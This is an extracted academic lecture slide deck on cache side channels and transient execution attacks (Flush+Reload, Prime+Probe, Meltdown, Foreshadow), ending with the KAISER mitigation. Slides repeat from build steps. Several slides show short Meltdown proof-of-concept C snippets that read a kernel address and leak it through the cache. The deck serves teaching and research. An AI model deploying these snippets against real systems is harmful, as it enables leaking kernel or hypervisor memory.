Transient Execution Attacks

Daniel Gruss
July 11, 2019

Graz University of Technology
Amazon Prime + Probe

Rowhammer.js

Another Flip in the Row

Fantastic Timers

And Where to Find Them

High-Resolution Microarchitectural Attacks in JavaScript

JavaScript Zero

Real JavaScript and Zero Side-Channel Attacks
side channel
= obtaining meta-data and deriving secrets from it

CHANGE MY MIND
Side Channel or not?

- Probing cache utilization with performance counters?
  - No

- Observing cache utilization with performance counters and using it to infer a crypto key?
  - Yes

- Measuring memory access latency with Flush+Reload?
  - No

- Measuring memory access latency with Flush+Reload and using it to infer keystroke timings?
  - Yes

Daniel Gruss — Graz University of Technology
• Profiling cache utilization with performance counters?
• Profiling cache utilization with performance counters? → No
Side Channel or not?

- Profiling cache utilization with performance counters? \(\rightarrow\) No
- Observing cache utilization with performance counters and using it to infer a crypto key?
Side Channel or not?

- Profiling cache utilization with performance counters? → No
- Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
• Profiling cache utilization with performance counters? → No
• Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
• Measuring memory access latency with Flush+Reload?
Side Channel or not?

- Profiling cache utilization with performance counters? → No
- Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
- Measuring memory access latency with Flush+Reload? → No
• Profiling cache utilization with performance counters? → No
• Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
• Measuring memory access latency with Flush+Reload? → No
• Measuring memory access latency with Flush+Reload and using it to infer keystroke timings?
- Profiling cache utilization with performance counters? → No
- Observing cache utilization with performance counters and using it to infer a crypto key? → Yes
- Measuring memory access latency with Flush+Reload? → No
- Measuring memory access latency with Flush+Reload and using it to infer keystroke timings? → Yes
Speculative Side-Channel Attacks?

Let's avoid the term Speculative Side-Channel Attacks.
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
- Meltdown, Foreshadow, ZombieLoad, etc
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
- Meltdown, Foreshadow, ZombieLoad, etc
Speculative Side-Channel Attacks?

- traditional cache attacks (crypto, keys, etc)
- actual misspeculation (e.g., branch misprediction)
- Meltdown, Foreshadow, ZombieLoad, etc
- Let’s avoid the term Speculative Side-Channel Attacks
Revolutionary concept!

Store your food at home, never go to the grocery store during cooking.

Can store ALL kinds of food.

ONLY TODAY INSTEAD OF $1,300

ORDER VIA PHONE: +555 12345

1337 4242

FOOD CACHE

$1,299

ORDER VIA PHONE: +555 12345
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
CPU Cache

```c
printf("%d", i);
printf("%d", i);
```
CPU Cache

printf("%d", i);
printf("%d", i);
CPU Cache

printf("%d", i);

Cache miss

printf("%d", i);

Cache hit

Request

Response
CPU Cache

Cache miss

printf("%d", i);
printf("%d", i);

Cache hit

No DRAM access, much faster

Request

Response
CPU Cache

DRAM access, slow

printf("%d", i);
printf("%d", i);

Cache miss

Cache hit

No DRAM access, much faster

Request

Response
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access
Flush+Reload

Shared Memory

ATTACKER

flush

access

VICTIM

access
Flush+Reload

Shared Memory

ATTACKER

flush
access

VICTIM

access
Flush+Reload

ATTACKER

flush
access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush

access

Shared Memory

VICTIM

access
Flush+Reload

ATTACKER

flush

access

Victim accessed

Shared Memory

VS

Victim did not access

VICTIM

access
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
Accurate Microarchitecture Timing

- use pseudo-serializing instruction `rdtscp` (recent CPUs)
- and/or use serializing instructions like `cpuid`
Accurate Microarchitecture Timing

- use pseudo-serializing instruction rdtscp (recent CPUs)
- and/or use serializing instructions like cpuid
- and/or use fences like mfence
• use pseudo-serializing instruction `rdtscp` (recent CPUs)
• and/or use serializing instructions like `cpuid`
• and/or use fences like `mfence`

Intel Publishes Microcode Security Patches, No Benchmarking Or Comparison Allowed!

UPDATE: Intel has resolved their microcode licensing issue which I complained about in this blog post. The new license text is here.
Memory Access Latency

Access time [CPU cycles]

Number of accesses

Cache Hits

Daniel Gruss — Graz University of Technology
Memory Access Latency

Access time [CPU cycles]

Number of accesses

- Cache Hits
- Cache Misses
Talking about Accuracy

Flush+Reload had beautifully nice timings, right?

Well... steps of 2-4 cycles

only 35-70 steps between hits and misses

On some devices only 1-2 steps!
Talking about Accuracy

Flush+Reload had beautifully nice timings, right? Well... steps of 2-4 cycles only 35-70 steps between hits and misses. On some devices only 1-2 steps!
Talking about Accuracy

Flush+Reload had beautifully nice timings, right? Well... steps of 2-4 cycles only 35-70 steps between hits and misses. On some devices only 1-2 steps!
Talking about Accuracy

• Flush+Reload had beautifully nice timings, right?
Talking about Accuracy

- Flush+Reload had beautifully nice timings, right?
- Well... steps of 2-4 cycles
Flush+Reload had beautifully nice timings, right?
- Well... steps of 2-4 cycles
  - only 35-70 steps between hits and misses
Talking about Accuracy

- Flush+Reload had beautifully nice timings, right?
- Well... steps of 2-4 cycles
  - only 35-70 steps between hits and misses
- On some devices only 1-2 steps!
We can build our own timer [Lip+16; Sch+17]
We can build our own timer [Lip+16; Sch+17]
Start a thread that continuously increments a global variable
• We can build our own timer [Lip+16; Sch+17]
• Start a thread that continuously increments a global variable
• The global variable is our timestamp
ARE YOU REALLY EXPECTING TO OUTPERFORM THE HARDWARE COUNTER?
CPU cycles one increment takes

\[
\text{rdtsc} \quad 3 \quad \text{1 timestamp} = \text{rdtsc}();
\]
CPU cycles one increment takes

```
  while (1) {
    timestamp++;
  }
```
CPU cycles one increment takes

\[
\begin{align*}
\text{rdtsc} & \quad 3 \\
\text{C} & \quad 4.7
\end{align*}
\]

\begin{verbatim}
1 while(1) {
2   timestamp++;
3 }
\end{verbatim}
CPU cycles one increment takes

```
1 while (1) {
2    timestamp++;
3 }
```

rdtsc  3

C     4.7
Self-built Timer

CPU cycles one increment takes

```
rdtsc
C
```

3

4.7

Assembly

```asm
1  mov  &timestamp, %rcx
2  1: incl (%rcx)
3  jmp  1b
```
Self-built Timer

CPU cycles one increment takes

<table>
<thead>
<tr>
<th>rdtsc</th>
<th>3</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>4.7</td>
</tr>
<tr>
<td>Assembly</td>
<td>4.67</td>
</tr>
</tbody>
</table>

1. `mov &timestamp, %rcx`
2. 1: `incl (%rcx)`
3. `jmp 1b`
CPU cycles one increment takes

rdtsc 3

C 4.7

Assembly 4.67

1 mov &timestamp, %rcx
2 1: incl (%rcx)
3 jmp 1b
CPU cycles one increment takes

<table>
<thead>
<tr>
<th>rdtsc</th>
<th>3</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>4.7</td>
</tr>
<tr>
<td>Assembly</td>
<td>4.67</td>
</tr>
</tbody>
</table>

1. `mov &timestamp, %rcx`
2. `inc %rax`
3. `mov %rax, (%rcx)`
4. `jmp 1b`
CPU cycles one increment takes

<table>
<thead>
<tr>
<th>Method</th>
<th>Time (s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdtsc</td>
<td>3</td>
</tr>
<tr>
<td>C</td>
<td>4.7</td>
</tr>
<tr>
<td>Assembly</td>
<td>4.67</td>
</tr>
<tr>
<td>Optimized</td>
<td>0.87</td>
</tr>
</tbody>
</table>

```
1. mov &timestamp, %rcx
2. 1: inc %rax
3. mov %rax, (%rcx)
4. jmp 1b
```
Cache Template Attack Demo

% sleep 2; ./spy 300 7f05140a4000-7f051417b000 r-xp 0x20000 08:02 26 8050
/usr/lib/x86_64-linux-gnu/gedit/libgedit.so

shark$ ./spy
Cache Template

www.tugraz.at

Daniel Gruss — Graz University of Technology
Attacker address space

Cache

Victim address space
Prime+Probe

Attacker address space

Cache

Victim address space

Daniel Gruss — Graz University of Technology
Prime+Probe

Attacker address space

Cache

Victim address space

loads data
Attacker address space

Cache

Victim address space

loads data
Prime+Probe

Attacker address space

Cache

Victim address space
Attacker address space

Cache

Victim address space

slow access
Pros: less restrictive

1. no need for `clflush` instruction (not available e.g., in JS)
Pros: less restrictive

1. no need for `clflush` instruction (not available e.g., in JS)
2. no need for shared memory (→ cross-VM)
Pros: less restrictive

1. no need for `clflush` instruction (not available e.g., in JS)
2. no need for shared memory (→ cross-VM)
Pros: less restrictive

1. no need for `clflush` instruction (not available e.g., in JS)
2. no need for shared memory (→ cross-VM)

Cons: coarser granularity (1 set)
“LRU eviction” memory accesses

cache set
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- Timestamps for every cache line
- Access updates timestamp
“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp

Daniel Gruss — Graz University of Technology
Replacement policy on older CPUs

“LRU eviction” memory accesses

- LRU replacement policy: oldest entry first
- timestamps for every cache line
- access updates timestamp
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement
“LRU eviction” memory accesses

- no LRU replacement
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement
“LRU eviction” memory accesses

- no LRU replacement
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement
Replacement policy on recent CPUs

“LRU eviction” memory accesses

- no LRU replacement
“LRU eviction” memory accesses

- no LRU replacement
- only 75% success rate on Haswell
“LRU eviction” memory accesses

- no LRU replacement
- only 75% success rate on Haswell
- more accesses → higher success rate, but too slow
Write eviction strategies as: \( P-C-D-L-S \)

```c
for (s = 0; s <= S-D; s += L)
    for (c = 0; c <= C; c += 1)
        for (d = 0; d <= D; d += 1)
            *a[s+d];
```
Cache eviction strategies

Write eviction strategies as: $P-C-D-L-S$

$S$: total number of different addresses

($=$ set size)

for (s = 0; s <= $S-D$; s += $L$)
  for (c = 0; c <= $C$; c += 1)
    for (d = 0; d <= $D$; d += 1)
      *a[s+d];
Write eviction strategies as: \( P-C-D-L-S \)

\( S \): total number of different addresses

(= set size)

\( D \): different addresses per inner access loop

\[
\text{for (s = 0; s <= S - D; s += L)} \\
\text{for (c = 0; c <= C; c += 1)} \\
\text{for (d = 0; d <= D; d += 1)} \\
\text{*a[s+d];}
\]
Write eviction strategies as: $P-C-D-L-S$

$S$: total number of different addresses

($=$ set size)

$D$: different addresses per inner access loop

$L$: step size of the inner access loop

for $(s = 0; s <= S - D; s += L)$

for $(c = 0; c <= C; c += 1)$

for $(d = 0; d <= D; d += 1)$

*a*[s+d];
Cache eviction strategies

Write eviction strategies as: \( P-C-D-L-S \)

\( S \): total number of different addresses
\( (= \text{set size}) \)

\( D \): different addresses per inner access loop

\( L \): step size of the inner access loop

\( C \): number of repetitions of the inner access loop

\[ \begin{align*}
\text{for (} s = 0; s <= S - D; s += L \text{)} & \\
\text{for (} c = 0; c <= C; c += 1 \text{)} & \\
\text{for (} d = 0; d <= D; d += 1 \text{)} & \\
\ast a[s+d]; &
\end{align*} \]
We evaluated more than 10000 strategies...

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>$P-1-1-1-17$</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>$P-1-1-1-20$</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>$P-2-1-1-17$</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
<tr>
<td>$P-2-2-1-17$</td>
<td>64</td>
<td>99.98%</td>
<td>180 ns</td>
</tr>
</tbody>
</table>

1Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10000 strategies...\(^1\)

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>$P_{-1-1-1-17}$</td>
<td>17</td>
<td>74.46%</td>
<td>74.46%</td>
</tr>
<tr>
<td>$P_{-2-1-1-20}$</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
</tbody>
</table>

\(^1\)Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10000 strategies...\(^1\)

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td>74.46% (\times)</td>
<td>307 ns (\checkmark)</td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td>99.82% (\checkmark)</td>
<td>934 ns (\times)</td>
</tr>
</tbody>
</table>

\(^1\)Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10000 strategies...\(^1\)

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>(P-1-1-1-17)</td>
<td>17</td>
<td>74.46% 🗙️</td>
<td>307 ns ✓</td>
</tr>
<tr>
<td>(P-1-1-1-20)</td>
<td>20</td>
<td>99.82% ✓</td>
<td>934 ns ✗</td>
</tr>
<tr>
<td>(P-2-1-1-17)</td>
<td>34</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

\(^1\)Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10000 strategies...\(^1\)

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td>74.46% 🚔</td>
<td>307 ns ✔</td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td>99.82% ✔</td>
<td>934 ns 🚔</td>
</tr>
<tr>
<td>P-2-1-1-17</td>
<td>34</td>
<td>99.86% ✔</td>
<td></td>
</tr>
</tbody>
</table>

\(^1\)Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10,000 strategies...¹

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>P-2-1-1-17</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
</tbody>
</table>

¹Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10000 strategies...\(^1\)

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>P-2-1-1-17</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
<tr>
<td>P-2-2-1-17</td>
<td>64</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

\(^1\)Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10000 strategies...\(^1\)

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>P-1-1-1-17</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>P-1-1-1-20</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>P-2-1-1-17</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
<tr>
<td>P-2-2-1-17</td>
<td>64</td>
<td>99.98%</td>
<td></td>
</tr>
</tbody>
</table>

\(^1\)Executed in a loop, on a Haswell with a 16-way last-level cache
We evaluated more than 10000 strategies...\(^1\)

<table>
<thead>
<tr>
<th>strategy</th>
<th># accesses</th>
<th>eviction rate</th>
<th>loop time</th>
</tr>
</thead>
<tbody>
<tr>
<td>$P-1-1-1-17$</td>
<td>17</td>
<td>74.46%</td>
<td>307 ns</td>
</tr>
<tr>
<td>$P-1-1-1-20$</td>
<td>20</td>
<td>99.82%</td>
<td>934 ns</td>
</tr>
<tr>
<td>$P-2-1-1-17$</td>
<td>34</td>
<td>99.86%</td>
<td>191 ns</td>
</tr>
<tr>
<td>$P-2-2-1-17$</td>
<td>64</td>
<td>99.98%</td>
<td>180 ns</td>
</tr>
</tbody>
</table>

\(^1\)Executed in a loop, on a Haswell with a 16-way last-level cache
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \ (17 \text{ accesses, } 307\text{ns}) \]

\[ P-2-1-1-17 \ (34 \text{ accesses, } 191\text{ns}) \]
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

$P$-1-1-1-17 (17 accesses, 307ns)

$P$-2-1-1-17 (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]

Time in ns
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \ (17 \text{ accesses}, \ 307\text{ns}) \]

\[ P-2-1-1-17 \ (34 \text{ accesses}, \ 191\text{ns}) \]
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

![Diagram for P-1-1-1-17](image)

**P-2-1-1-17** (34 accesses, 191ns)

![Diagram for P-2-1-1-17](image)
Cache eviction strategies: Illustration

\( P-1-1-1-17 \) (17 accesses, 307\,ns)

\( P-2-1-1-17 \) (34 accesses, 191\,ns)
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

*P-1-1-1-17* (17 accesses, 307ns)

- Miss (intended) - Miss (intended) - Miss - Miss

*P-2-1-1-17* (34 accesses, 191ns)

- Miss (intended) - Miss (intended) - Miss - Miss - Miss - Miss - Miss
Cache eviction strategies: Illustration

$P$-1-1-1-17 (17 accesses, 307ns)

$P$-2-1-1-17 (34 accesses, 191ns)
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

$P$-1-1-1-17 (17 accesses, 307ns)

$P$-2-1-1-17 (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[P-1-1-1-17 \text{ (17 accesses, 307\,ns)}\]

\[P-2-1-1-17 \text{ (34 accesses, 191\,ns)}\]
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \] (17 accesses, 307ns)

\[ P-2-1-1-17 \] (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \ (17 \text{ accesses, 307ns}) \]

\[ P-2-1-1-17 \ (34 \text{ accesses, 191ns}) \]
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

![Miss (intended)](image1)

**P-2-1-1-17** (34 accesses, 191ns)

![Miss (intended)](image2)

Time in ns
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)
Cache eviction strategies: Illustration

**P-1-1-1-17 (17 accesses, 307ns)**

**P-2-1-1-17 (34 accesses, 191ns)**

Time in ns
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

P-1-1-1-17 (17 accesses, 307ns)

P-2-1-1-17 (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307\,ns)

$P-2-1-1-17$ (34 accesses, 191\,ns)
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

```plaintext
Miss (intended) Miss Miss Miss Miss Miss Miss Miss
```

**P-2-1-1-17** (34 accesses, 191ns)

```plaintext
Miss (intended) Miss Miss Miss Miss Miss Miss Miss
```
Cache eviction strategies: Illustration

\[ P-1-1-1-17 \text{ (17 accesses, 307ns)} \]

\[ P-2-1-1-17 \text{ (34 accesses, 191ns)} \]
Cache eviction strategies: Illustration

**P-1-1-1-17** (17 accesses, 307ns)

**P-2-1-1-17** (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

$P-1-1-1-17$ (17 accesses, 307ns)

$P-2-1-1-17$ (34 accesses, 191ns)

Time in ns
Cache eviction strategies: Illustration

- \( P-1-1-1-17 \) (17 accesses, 307ns)

- \( P-2-1-1-17 \) (34 accesses, 191ns)

Time in ns
Hello from the other side (DEMO): Video streaming over cache covert channel
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks. It is the enclave developer’s responsibility to address side-channel attack concerns.
Protection from Side-Channel Attacks
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks.
Protection from Side-Channel Attacks

Intel SGX does not provide explicit protection from side-channel attacks. It is the enclave developer’s responsibility to address side-channel attack concerns.
CAN'T BREAK YOUR SIDE-CHANNEL PROTECTIONS

IF YOU DON'T HAVE ANY
- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX

Teechain

[...] We assume the TEE guarantees to hold
SGX Wallets

- Ledger SGX Enclave for blockchain applications
- BitPay Copay Bitcoin wallet
- Teechain payment channel using SGX

Teechain

[...] We assume the TEE guarantees to hold and do not consider side-channel attacks [5, 35, 46] on the TEE.
• Ledger SGX Enclave for blockchain applications
• BitPay Copay Bitcoin wallet
• Teechain payment channel using SGX

**Teechain**

 [...] We assume the TEE guarantees to hold and do not consider side-channel attacks [5, 35, 46] on the TEE. Such attacks and their mitigations [36, 43] are outside the scope of this work. [...]
Attacking a weak RSA implementation inside SGX

Raw Prime+Probe trace...\(^2\)

...processed with a simple moving average...³

Attacking a weak RSA implementation inside SGX

...allows to clearly see the bits of the exponent

---

YOU CAN'T DO THAT!

THAT'S AGAINST THE RULES!
Back to Work
7. Serve with cooked and peeled potatoes
Wait for an hour
Wait for an hour

LATENCY
1. Wash and cut vegetables

2. Pick the basil leaves and set aside

3. Heat 2 tablespoons of oil in a pan

4. Fry vegetables until golden and softened
1. Wash and cut vegetables

2. Pick the basil leaves and set aside

3. Heat 2 tablespoons of oil in a pan

4. Fry vegetables until golden and softened
```c
int width = 10, height = 5;

float diagonal = sqrt(width * width
        + height * height);
int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
```
int width = 10, height = 5;

float diagonal = sqrt(width * width + height * height);

int area = width * height;

printf("Area %d x %d = %d\n", width, height, area);
*(volatile char*) 0;
array[84 * 4096] = 0;
• Flush+Reload over all pages of the array

Access time [cycles] vs Page

Unreachable code line was actually executed
Exception was only thrown afterwards
• Flush+Reload over all pages of the array

• “Unreachable” code line was actually executed
Building Meltdown

- Flush+Reload over all pages of the array
- “Unreachable” code line was **actually executed**
- Exception was only thrown **afterwards**
Out-of-order instructions leave microarchitectural traces
• Out-of-order instructions leave microarchitectural traces
  • We can see them for example through the cache
Out-of-order instructions leave microarchitectural traces
- We can see them for example through the cache
- Give such instructions a name: transient instructions
Out-of-order instructions leave microarchitectural traces
- We can see them for example through the cache
- Give such instructions a name: transient instructions
- We can indirectly observe the execution of transient instructions
• Add another layer of indirection to test

```c
char data = *(char*) 0xffffffff81a000e0;
array[data * 4096] = 0;
```
Add another layer of indirection to test

```c
char data = *(char*) 0xffffffff81a000e0;
array[data * 4096] = 0;
```

Then check whether any part of array is cached
- Flush+Reload over all pages of the array

- Index of cache hit reveals data
• Flush+Reload over all pages of the array

• Index of cache hit reveals data

• Permission check is in some cases not fast enough
I SHIT YOU NOT

THERE WAS KERNEL MEMORY ALL OVER THE TERMINAL
mschwarz@lab06:~/Documents$
• Basic Meltdown code leads to a crash (segfault)
• Basic Meltdown code leads to a crash (segfault)
• How to prevent the crash?
- Basic Meltdown code leads to a crash (segfault)
- How to prevent the crash?
Intel TSX to suppress exceptions instead of signal handler

```c
if (xbegin() == XBEGIN_STARTED) {
    char secret = *(char*) 0xffffffff81a000e0;
    array[secret * 4096] = 0;
    xend();
}

for (size_t i = 0; i < 256; i++) {
    if (flush_and_reload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
Speculative execution to prevent exceptions

```c
int speculate = rand() % 2;
size_t address = (0xffffffff81000e0 * speculate) +
    ((size_t)&zero * (1 - speculate));
if (!speculate) {
    char secret = *(char*) address;
    array[secret * 4096] = 0;
}
for (size_t i = 0; i < 256; i++) {
    if (flush_andReload(array + i * 4096) == CACHE_HIT) {
        printf("%c\n", i);
    }
}
```
Booting from ROM...
early console in extract_kernel
input_data: 0x00000000001c0a276
input_len: 0x00000000003d48f8
output: 0x000000000100000
output_len: 0x00000000011bc258
kernel_total_size: 0x00000000001dec00
booted via startup_32()
Physical KASLR using RDTSC...
Virtual KASLR using RDTSC...

Decompressing Linux... Parsing ELF... Performing relocations... done.
Booting the kernel.

LI Terminal Fault

Run reader <pfn> [<cache miss threshold>] to leak hypervisor data from the L1
Kernel Address Isolation to have Side channels Efficiently Removed
Kernel Address Isolation to have Side channels Efficiently Removed
Without KAISER:

Shared address space

User memory

Kernel memory

context switch

With KAISER:

User address space

Not mapped

Kernel address space

SMAP + SMEP

Kernel memory

context switch

addr. space

Interrupt
dispatcher

Daniel Gruss — Graz University of Technology
Without KAISER:

Shared address space

User memory → Kernel memory

context switch

With KAISER:

User address space

User memory

Not mapped

context switch

addr. space

SMAP + SMEP

Kernel address space

Interrupt dispatcher

addr. space

Kernel memory

Daniel Gruss — Graz University of Technology
KAISER (Stronger Kernel Isolation) Patches

Adopted in Linux
Adopted in Windows
